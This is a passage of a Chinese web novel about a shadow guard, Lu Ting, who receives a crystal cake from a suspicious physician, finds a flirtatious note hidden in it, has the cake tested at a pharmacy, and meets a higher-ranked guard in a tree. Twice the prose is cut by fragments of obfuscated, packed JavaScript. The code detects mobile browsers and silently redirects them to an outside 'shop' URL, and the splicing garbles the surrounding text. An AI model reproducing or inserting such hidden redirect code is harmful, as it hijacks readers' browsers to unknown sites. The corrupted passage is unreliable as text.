陆停无语地仰头看房梁。也许是昨夜曾在房梁上办公过的原因,此时看这里,竟生出几分看着工位的亲切与憎恶。 陆停还在想,大夫你该不会是什么都不懂,现场学了以后才给我看病吧...... 好无聊,要不然回工位上继续蹲一蹲好了。 陆停的呼吸放得很轻,手放在膝上,一动不动。他不知道郎中这是什么意思,但他知道,这不对劲。 这个郎中,刚才还骂过人。接近这里的时候,陆停曾亲耳听见这屋里传来骂声,妙语连珠,骂得那个暗卫狗血淋头,嫌弃那个暗卫受不了疼,喊他闭嘴。 门外的小厮,等着的大约就是这种好戏。不得不说,如今的屋里,倒是安静得很,说不定外面的人还得夸一句陆停意志力坚强,非常能忍。 只是这郎中太过诡异。 温和。平静。甚至带着笑。还让他坐。 陆停盯着郎中那张温文尔雅的脸,心里越来越毛。 终于,郎中动了。他合上书,抬起头,看向陆停,露出一个笑,眉眼弯弯的,嘴角微微上扬,看着就像一个慈祥的长辈。他冲陆停招招手,动作很轻,很随意。 “过来。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224148|197542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陆停应声起身,走过去。只见郎中已摸出东西,面前摊着一方帕子,帕子上托着一样东西—— 一块糕点。 水晶饼,饼皮酥脆,上面撒着一层白糖。里头是甜腻腻的馅,掺杂着红绿丝。 郎中伸出手,把那块糕点往陆停面前推了推,言简意赅:“吃。” 陆停低头看着,能闻见一丝甜香,淡淡的,混在屋里的熏香气味里。 陆停没动。鬼晓得这东西里会不会下了毒。还有,阿七说过,郎中会种蛊,搞不好这里面得有几百条虫子。 而若是没毒,这就更有意思。别人进来后都是被搞得狼狈不堪,好几个人的身上还有明显的针孔。他倒好,进来了,反而被招待吃糕点。 陆停思忖一下,道:“我……今天身体不太好。” 说话时陆停小心地看着郎中的眼,他在试探,想对这个人旁敲侧击一下,看看自己到底有没有中毒。 郎中却是跟听不懂一样,就那么托着那块糕点,依旧在催,催婚催育的人都没有他这般催吃的决心。 最终郎中的耐心被耗尽,他见陆停不吃,便干脆说: “不吃就算了。带回去吃。” 哈?陆停没想到还能这么干。带回去? 郎中则已经收回手,拿起桌上的医书,又翻开了。他翻了一页,头也不抬,声音从书页后面传出来: “出去吧。” 陆停站在那儿,看着那块被推到自己手边的糕点,看着那个低头翻书的郎中,心里涌起一种说不清的异样。 就这么让我走了? 陆停试探着伸手,把糕点拿起来,用帕子包好,揣进怀里,以为郎中是逗他玩的,却发现郎中始再没抬头。 等走到门边,陆停伸手拉门。结果手刚摸上去,听到身后郎中说了话。 不是叫他停下,而是沉声说:“比上次胖了一些,还好。” 好家伙,更像是关心小孩的长辈了。陆停腹诽,很想给他回一句这多亏王府的风水养人啊,你看王府这伙食,多好。 不,开玩笑的,你要真是我亲人,你倒是把我带出去啊! 陆停心中汹涌,面上却还是淡然,开门的动作没停。门外的光线涌进来,照在他脸上。他迈步出去,余光往后扫了一眼。 郎中还在翻书。背影安安静静的,像一座石像。 陆停把门带上。 门口站着小厮,还有两个皮肤略黑的,穿着短打的男人。他们看见陆停出来,齐齐抬头看过来。 陆停忽然敏锐地想到,自己这时该表演些什么。 于是他身子一歪,往旁边倒去,一只手撑着墙,一条腿软软地拖在地上。他垂下头,让头发遮住脸,肩膀塌着,呼吸放得又重又粗。一副被折腾得半死不活的样子。 两人见状,微微笑了笑,极为熟稔地上前,一左一右架住他。 陆停就这么被他们架着往前走,腿在地上拖着,脚根本抬不起来。 是装成抬不起来。他让身体的重量全压在那两人身上,头垂着,眼睛却微微睁开一条缝,往后看。 郎中还在屋里,有新的人被带来,丢进去。 陆停摸向自己的衣襟,那里面,正揣着郎中给他的那一块儿糕点,温温热热的。 陆停的心绪忽地飘远了一些。 他想起来,自己和弟弟小时候最讨厌吃的,就是水晶饼,尤其是里面的红绿丝。 怎么到了这个古代世界里,也能看见水晶饼啊! 好的,本来就烦这个郎中——是敌是友,你倒是吱上一声。 现在更讨厌了。 14. 第 14 章 那两个人很快把陆停丢进了暗卫们休息的房子里,转身而去。 这屋子不大,统共就两张通铺,这会儿地上躺了一堆人。陆停扫了一眼,认出几张脸——都是今早被叫去诊脉的。有人侧躺着蜷成一团,有人仰面朝天喘粗气,用手捂着肚子,脸上汗涔涔的,像刚从水里捞出来。 陆停顺势往墙根一歪,半靠着墙,做出副有气无力的样子。 他目光在屋里转了一圈,没看见阿七。 倒是有个眼熟的身影——今早点名时站在前排的,叫什么来着?阿贵?这会儿正坐在通铺边上,拿袖子擦了把额头的汗,然后站起身,活动了一下肩膀,抬脚往外走。 动作挺利索,看着没受什么影响。 陆停盯着他背影看了看,心说这人身体素质可以。 他又等了一会儿,等屋里其他人的注意力都不在他身上了,这才撑着墙慢慢站起来,扶着腰,迈着虚浮的步子,也往外走。 出了门,日光晃得他眯了眯眼。 阿贵已经没影了。院子里空荡荡的,只有几只麻雀在墙头蹦跶。 陆停沿着墙根往东走,七拐八拐,撞见一个地方。是个小池塘。水面上漂着几片枯叶,岸边种着几棵柳树,枝条垂下来,在风里轻轻晃。 这地方偏,平时没什么人来,适合独自干点坏事。 陆停走到一棵柳树下,背靠着树干,从怀里掏出那块糕点。 解开淡蓝色帕子,陆停将水晶饼掰开,瞅见深藏在里面的一小坨纸。 古人这么喜欢传纸条的吗…… 陆停把东西抽出来,展开。还得小心点用力,怕扯破。 纸条不大,上面写着密密麻麻的字。字迹很小,小得像蚂蚁爬的,看得人眼痛。 陆停眯着眼,凑近了仔细辨认。 开头一行: “数日不见,奴家甚是想念郎君。” 陆停:“……”又来,又来。上次是春月楼,这次是佳人聊表思念。没完了是吧?您又是哪位啊? 若是当初在郎中那里掰开这糕点,陆停的表情大约会立即变得很精彩。 陆停按着心里的无奈,继续往下看: “罢,罢,你若是只知道吃,就看不到我这番心意了。” 陆停把这行字又读了一遍,读完之后,无语凝噎:确实,我要是急头白脸地直接把这饼吃了,这纸条可不就进肚子了吗?什么都看不着。 唯一的问题就是会消化不良,还会恶心——为着上面的话恶心。 盯着那张纸,陆停沉默了片刻,把整段话从头到尾又看了一遍。 就这些话,没别的了? 陆停靠在树干上,举着那张黏糊糊的纸,一时不知道说什么好。 你费这么大劲,在纸上写这么多字,就是为了告诉我这个? 还告诉我“你要是吃了就看不到了”? 真的很像是……调情呢。单纯的调情。 陆停把纸扬了扬,想看看有没有隐藏的字迹。没有。阳光下,那些小蚂蚁一样的字老老实实排成两行,没有任何暗号的意思。 他又把纸翻过来,对着光看。没新的内容。 陆停把纸放下,脑子里不禁开始转:这话是谁说的?郎中说的? 他想了一下那个画面:四十来岁,留着长须,温文尔雅,手腕上缠着暗红珠子,低头翻《伤寒论》的郎中。 然后那个郎中用“奴家”自称。还说“甚是想念郎君”,给他眨一眨眼。 陆停身上顿时起了一层鸡皮疙瘩。 他又想起徐玥,想起徐玥在春月楼脱掉衣服的那一刻。 陆停心里霎时冒出一个念头:总不会……郎中身上也有秘密?他是不是其实是女扮男装的? 很好,算是被徐玥的事情给搞出心理阴影了。真的是不知道,这个世界还要有多少惊喜给他。 陆停努力把这些乱七八糟的想法压下去,告诉自己:不对,绝不可能是这么回事儿。 如果真的只是想调情,用得着这么费劲吗?用纸条写字,塞进糕点里,趁诊脉的时候递给他——这操作太复杂了,成本太高了。 一定有别的意思。 陆停把纸条小心折好,揣进怀里。他站在柳树下,看着池塘里那几片枯叶,脑子里还在转。 想了半天,没想出个头绪。 算了,先回去。 陆停抬脚往回路走,走了两步又停下。 回去?回哪儿?回那间躺了一地暗卫的屋子?然后呢?躺着等吃饭? 陆停站在原地,左右看了看。 院子里静悄悄的,没什么人。 陆停的心不由得大胆起来: 话说啊,这时候,溜了也没人知道吧? 今天暗卫们都被郎中搞得东倒西歪,该躺的都躺着呢,谁有心思管别人?点卯?早点过了。 陆停这么一想,脚下已经转了方向。 他往偏院走,走了几步又觉得太慢,干脆一提气,脚尖点地,翻身上了墙头。 这是陆停第一次“主动”体验暗卫的技能。 感觉就一个字:爽。 翻墙的时候,他甚至没想怎么发力,整个人就轻飘飘上了墙头。动作行云流水,一点声音都没有。 他在墙头蹲了两秒,左右看看,然后纵身一跃,落进外面的巷子。 巷子里没人。 陆停站稳,顺着巷子往外走,七拐八绕,很快到了街上。 街上人来人往,小贩吆喝声此起彼伏。陆停混在人群里,目光扫了一圈,找了一家挂着“回春堂”招牌的医馆。 门面不大,但看着干净。 陆停迈步进去。 柜台后面坐着一个老大夫,戴着眼镜,正低头写方子。听见脚步声,他抬起头。 “看病还是抓药?” 陆停走过去,从怀里掏出那块糕点。 “大夫,”他把饼递过去,“劳您帮忙看看,这水晶饼有没有问题。” 老大夫接过那块水晶饼,凑近看了看,又闻了闻。 “什么毛病?” 陆停早就想好了说辞:“家里小孩贪吃,早上吃了半块这个,这会儿闹肚子。我瞧着这饼颜色不太对,怕是不是变质了。” 老大夫点点头,把饼举起来对着光看了看,然后掰了一小块,放进嘴里。 陆停下意识想拦——万一真有毒呢?这老大夫岂不是被他连累了? 但他手刚抬起来,老大夫已经把那一小块咽下去了,咂了咂嘴。 “没事。”老大夫说,“馅是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224149|197542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新鲜的,没坏。” 他又掰了一小块,嚼了嚼:“皮也没问题,干净。” 陆停看着他,一时不知道说什么。 老大夫把饼还给他,摘下眼镜擦了擦,又戴上,笑眯眯看着他: “你家那孩子,是不是不想上学,故意装病?” 陆停:“……”这里倒是有个不想上班的,正在装病的。 老大夫摆摆手:“回去吧,没事。这饼好好的,吃了不坏人。你回去跟孩子说,再装病就打手心。” 陆停把饼收好,谢过老大夫,转身出了医馆。 他站在门口,把饼又拿出来看了看。 没问题。没毒。没变质。 那郎中给他这块饼,到底什么意思?就为了送那张纸条? 正想着,忽然听见远处一阵喧哗。陆停抬起头,往街那头看去。 人群骚动起来,像被什么东西赶着一样往两边退。有人喊了一声什么,没听清,但紧接着,街边的摊贩开始手忙脚乱地收拾东西。 “让开让开——王府的贵客来了——” 几个衣着华贵的人从街那头跑过来,一边跑一边挥手,把人群往两边赶。 “靠边!都靠边!” 陆停被人流推着往后退,退到墙根下站着。 他踮起脚往街那头看,看不着什么。旁边,老百姓被赶到路边,挨挨挤挤凑成一堆。有人探头探脑想看,被一个男人一瞪,赶紧缩回去。 嗯,有热闹?那不如换个地方看看? 陆停这样想着,趁人不注意,脚尖一点地,直接上了旁边的树。 陆停蹲在树上,看着下面那些挤成一团的人,心里生出个念头:做暗卫也是有好处的呀。 你们在地上挤着,我在这儿独自逍遥。 他正得意着,忽然—— 另一道黑影从斜刺里跃过来,稳稳落在他正蹲着的树杈上的另一处。 对方来之前显然没看到树影掩着的陆停,此刻瞧见了,他也是一惊。 得亏这人没那么快,否则能直接扑到陆停身上去。 这会儿,树杈晃了晃。同时承载着两个人的重量,它心里苦啊。 陆停的手已经按上了腰间的匕首。 对方也按上了剑柄。 两人四目相对,都在那一瞬间评估对方的身份、来意、威胁程度。 看似是针锋相对,实则各自想着的是不一样的。 那人杀气腾腾,似乎原本是打算做掉陆停,下死手,杀之而后快。 而陆停就不一样了,他的第一个想法是:嚯,你也看上我挑的风水宝地了?好巧。 话说这就是暗卫的工作性质导致的了,大家有点容易选中相同的工位。 这时陆停还注意到对方的打扮。劲装。黑色。和陆停身上穿的差不多的款式,但料子好像更细一些,上面甚至还有繁复的暗纹,配着质量上乘的银色腰带。 暗卫。但级别比他高? 对方也在看他。目光从他脸上滑到他衣服上,又从衣服滑回脸上。 那目光里带着一丝犹豫,像是在判断,后来是陆停先开了口。 他往旁边挪了挪,好心地给那人腾出点地方。 “要不,”陆停大方地、诚恳地说,“挤一挤?”